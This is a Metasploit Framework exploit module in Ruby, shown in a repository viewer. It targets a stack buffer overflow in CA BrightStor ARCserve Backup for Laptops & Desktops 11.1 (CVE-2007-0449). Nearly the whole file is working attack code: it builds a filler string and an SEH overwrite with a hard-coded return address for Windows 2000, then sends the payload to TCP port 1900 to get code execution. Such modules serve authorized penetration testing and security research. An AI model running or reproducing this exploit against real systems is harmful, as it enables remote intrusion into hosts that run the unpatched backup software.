Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / brightstor / lgserver.rb @ master

History | View | Annotate | Download (1.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18
        include Msf::Exploit::Remote::Seh
19

    
20
        def initialize(info = {})
21
                super(update_info(info,
22
                        'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
23
                        'Description'    => %q{
24
                                        This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
25
                                for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
26
                                overflow the buffer and execute arbitrary code.
27
                        },
28
                        'Author'         => [ 'MC' ],
29
                        'License'        => MSF_LICENSE,
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        [ 'CVE', '2007-0449' ],
34
                                        [ 'OSVDB', '31593' ],
35
                                        [ 'BID', '22342' ],
36
                                ],
37
                        'Privileged'     => true,
38
                        'DefaultOptions' =>
39
                                {
40
                                        'EXITFUNC' => 'process',
41
                                },
42
                        'Payload'        =>
43
                                {
44
                                        'Space'    => 600,
45
                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
46
                                        'StackAdjustment' => -3500,
47
                                },
48
                        'Platform' => 'win',
49
                        'Targets'  =>
50
                                [
51
                                        [ 'Windows 2000 Pro English All',                { 'Ret' => 0x75022ac4 } ],
52
                                ],
53
                        'DisclosureDate' => 'Jan 31 2007',
54
                        'DefaultTarget' => 0))
55

    
56
                register_options(
57
                        [
58
                                Opt::RPORT(1900)
59
                        ], self.class)
60
        end
61

    
62
        def exploit
63
                connect
64

    
65
                filler = "0000016705" + rand_text_english(2322)
66
                seh    = generate_seh_payload(target.ret)
67
                sploit = filler + seh + "\x58" * 0x4141
68

    
69
                print_status("Trying target #{target.name}...")
70

    
71
                sock.put(sploit)
72
                handler
73
                disconnect
74
        end
75

    
76
end